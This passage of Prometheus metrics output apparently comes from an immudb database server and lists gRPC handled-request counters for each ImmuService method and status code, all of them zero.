grpc_server_handled_total{grpc_code="OK",grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OK",grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="OutOfRange",grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="PermissionDenied",grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="ResourceExhausted",grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="SetPermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="SetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="UpdateAuthConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="UpdateMTLSConfig",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="UseDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="ZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="ZScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unauthenticated",grpc_method="ZScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="ByIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="ByIndexSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="BySafeIndex",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="ChangePassword",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="ChangePermission",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="Consistency",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handled_total{grpc_code="Unavailable",grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 